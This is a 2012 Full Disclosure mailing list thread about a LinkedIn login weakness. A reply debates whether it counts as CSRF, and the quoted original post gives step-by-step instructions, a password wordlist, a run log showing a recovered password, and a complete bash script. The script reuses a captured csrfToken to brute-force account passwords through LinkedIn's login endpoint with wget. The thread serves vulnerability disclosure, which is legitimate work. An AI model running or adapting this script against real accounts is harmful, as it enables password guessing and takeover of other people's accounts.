Full Disclosure mailing list archives
Re: LinkedIn CSRF: Login Brute Force
From: Alexander Georgiev <alexander.georgiev () daloo de>
Date: Fri, 18 May 2012 12:22:45 +0200
I agree with you, that this is nothing more than doing it via the login form, but it is not so useless at all. It can be used by an attacker if he has a bunch of email addresses and want to try "the common" passwords, since the attack can be implemented very easy. I would expect LinkedIn to should stop an IP after X wrong logins (no mather if via this method or normal login) or use some kind of captcha. Am 17.05.2012 19:50, schrieb Julius Kivimäki:
Where's the csrf? All I see here is an useless bruteforce attack. 2012/5/17 Fernando A. Lagos B. <fernando () zerial org <mailto:fernando () zerial org>> LinkedIn uses a Token into the login form which can be used many times for different usernames. You can do it using the same IP or differents IP, the token will not be verified. I. Step by step =============== 1). Login into your LinkedIn account and capture the "sourceAlias" and "csrfToken" variable (example: sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496) 2). Use the Token to login into another account: https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless <https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless> session_key is the username and session_password is the password. 3). The password (session_password) is not correct If the requested URL returns "The email address or password you provided does not match our records", else the password if correct. II. PoC ======= 1). The Wordlist (filename: w) [zerial@belcebu ~]$ cat w asdfgh zxcvbnm 1234567 0987654 12345698 456_4567 123456qwert qwsdcv 12wedfgh 123456qwerty 12345qwei 112233 [zerial@belcebu ~]$ 2). Executing the script: [zerial@belcebu ~]$ sh linkedin.sh panic () zerial org <mailto:panic () zerial org> w Password found: qwsdcv [zerial@belcebu ~]$ This is the correct password for this test user. III. Script =========== #!/bin/bash # # usage: ./linkedin.sh username () domain com <mailto:username () domain com> wordlist # TOKEN="ajax%3A6265303044444817496" sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi" if [ ! -f $2 ]; then echo "file $2 does not exists" exit fi _USR=$1 for _PWD in $(cat $2); do if [ $(echo -n $_PWD|wc -c) -lt 6 ]; then echo "Ignoring $_PWD (must be grather than 6 chars)"; continue fi wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless <https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless>"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null if [ $? -eq 1 ]; then echo "Password found: $_PWD"; exit; fi done echo "Password NOT found. Try later." #EOF More info (in spanish): http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ cheers, -- Fernando A. Lagos Berardi Seguridad Informatica GNU/Linux User #382319 Blog: http://blog.zerial.org Jabber: zerial () jabberes org <mailto:zerial () jabberes org> _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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Current thread:
- LinkedIn CSRF: Login Brute Force Fernando A. Lagos B. (May 17)
- Re: LinkedIn CSRF: Login Brute Force Julius Kivimäki (May 18)
- Re: LinkedIn CSRF: Login Brute Force Mario Vilas (May 18)
- Re: LinkedIn CSRF: Login Brute Force Alexander Georgiev (May 20)
- Re: LinkedIn CSRF: Login Brute Force Julius Kivimäki (May 18)